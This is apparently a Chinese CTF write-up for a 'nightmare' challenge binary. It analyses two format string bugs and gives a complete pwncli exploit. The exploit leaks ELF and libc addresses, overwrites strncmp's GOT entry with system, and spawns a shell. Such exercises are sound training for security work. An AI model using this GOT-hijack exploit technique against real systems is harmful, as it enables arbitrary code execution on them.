前言
今天是格式化字符串漏洞的基础题目,无回显的格式化字符串,劫持got表函数
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第8天,慢慢来就很快
题目情况
You seem to be stuck in an endless nightmare. Can you find a way out?
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
全开,但是没有RELRO
逆向分析
运行:
Nightmare ➤ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>
main:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char opt; // [rsp+Fh] [rbp-1h]
sub_1269(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
sub_12DD();
opt = getchar();
getchar();
if ( opt != 51 )
break;
puts("Seriously? We told you that it's impossible to exit!");
}
if ( opt > 51 )
{
LABEL_10:
puts("No can do");
}
else if ( opt == 49 )
{
sub_1329();
}
else
{
if ( opt != 50 )
goto LABEL_10;
sub_13D8();
}
}
}
1和2选项分别进入不同的函数,但是都不会退出程序
选项1:
unsigned __int64 sub_1329()
{
char s[280]; // [rsp+0h] [rbp-120h] BYREF
unsigned __int64 v2; // [rsp+118h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Aight. Hit me up\n>> ");
fgets(s, 0x100, stdin); // 无溢出
fprintf(stderr, s); // 格式化字符串
return __readfsqword(0x28u) ^ v2;
}
存在格式化字符串漏洞,远程会呈现无回显的样子
选项2:
unsigned __int64 sub_13D8()
{
char s[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter the escape code>> ");
fgets(s, 6, stdin);
if ( !(unsigned int)sub_13A8(s) ) // 字符串对比,相同lulzk,则进入
{
puts("Congrats! You've escaped this nightmare.");
exit(0);
}
printf(s); // 格式化字符串,6字节
puts("\nWrong code, buster");
return __readfsqword(0x28u) ^ v2;
}
依然存在格式化字符串漏洞,但是缓冲区只有6
提供了退出的条件
利用分析
整理一下当前状况:
- 无RELRO,
- 格式化字符串漏洞,无限触发
- 特殊条件下会调用exit
思路:
- 第一次触发,利用格式化字符串漏洞泄露libc地址
- 第二次触发,利用格式化字符串漏洞泄露elf地址
- 第三次触发,利用格式化字符串漏洞改strncmp为system
- 程序没提供libc,需要自己用libc database去查
地址泄露
栈信息:
pwndbg> stack 50
00:0000│ rsp 0x7ffe20b07ed8 —▸ 0x5623c520543d ◂— lea rdi, [rip + 0xc54]
01:0008│ rdi-2 0x7ffe20b07ee0 ◂— 0xa702439250000
02:0010│-008 0x7ffe20b07ee8 ◂— 0x1decc22e8e1bce00
03:0018│ rbp 0x7ffe20b07ef0 —▸ 0x7ffe20b07f10 ◂— 0x1
04:0020│+008 0x7ffe20b07ef8 —▸ 0x5623c52054d5 ◂— jmp 0x5623c52054f2
05:0028│+010 0x7ffe20b07f00 ◂— 0x0
06:0030│+018 0x7ffe20b07f08 ◂— 0x3200000000000000
07:0038│+020 0x7ffe20b07f10 ◂— 0x1
08:0040│+028 0x7ffe20b07f18 —▸ 0x7fc023dbad90 (__libc_start_call_main+128) ◂— mov edi, eax
09:0048│+030 0x7ffe20b07f20 ◂— 0x0
0a:0050│+038 0x7ffe20b07f28 —▸ 0x5623c5205478 ◂— endbr64
0b:0058│+040 0x7ffe20b07f30 ◂— 0x100000000
0c:0060│+048 0x7ffe20b07f38 —▸ 0x7ffe20b08028 —▸ 0x7ffe20b09051 ◂— 0x4d2f642f746e6d2f ('/mnt/d/M')
0d:0068│+050 0x7ffe20b07f40 ◂— 0x0
0e:0070│+058 0x7ffe20b07f48 ◂— 0xaf3360b4aedb95c9
0f:0078│+060 0x7ffe20b07f50 —▸ 0x7ffe20b08028 —▸ 0x7ffe20b09051 ◂— 0x4d2f642f746e6d2f ('/mnt/d/M')
10:0080│+068 0x7ffe20b07f58 —▸ 0x5623c5205478 ◂— endbr64
这里偏移9的地方是elf地址,偏移13的地方是libc地址
#leak elf address
opt2(b"%9$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
elf.address = leak -0x14d5
success(f"elf.address: {hex(elf.address)}")
# leak libc address
opt2(b"%13$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
#libc.address = leak -0x29d90
libc.address = leak -0x270b3
success(f"libc.address: {hex(libc.address)}")
劫持 got 函数
payload = fmtstr_payload(5,{
# elf.got.strncmp:libc.sym.system
elf.got.strncmp:libc.address + 0x55410
})
sl(b"1")
s(b"\n")
opt1(payload)
有没有回显其实不重要,只要知道偏移,且能执行,就可以
这里的fmtstr_payload偏移是5,是因为fprintf参数格式化在第二个参数,所以寄存器还有4个参数而不是5个
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"> "):
sla(prompt, i)
def opt1(context: bytes):
cmd(b'1')
sla(b">> ",context)
#......
def opt2(context: bytes):
cmd(b'2')
sla(b">> ",context)
#......
#leak elf address
opt2(b"%9$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
elf.address = leak -0x14d5
success(f"elf.address: {hex(elf.address)}")
# leak libc address
opt2(b"%13$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
#libc.address = leak -0x29d90
libc.address = leak -0x270b3
success(f"libc.address: {hex(libc.address)}")
payload = fmtstr_payload(5,{
# elf.got.strncmp:libc.sym.system
elf.got.strncmp:libc.address + 0x55410
})
sl(b"1")
s(b"\n")
opt1(payload)
opt2(b"sh\x00")
ia()
总结
格式化字符串,劫持got,无回显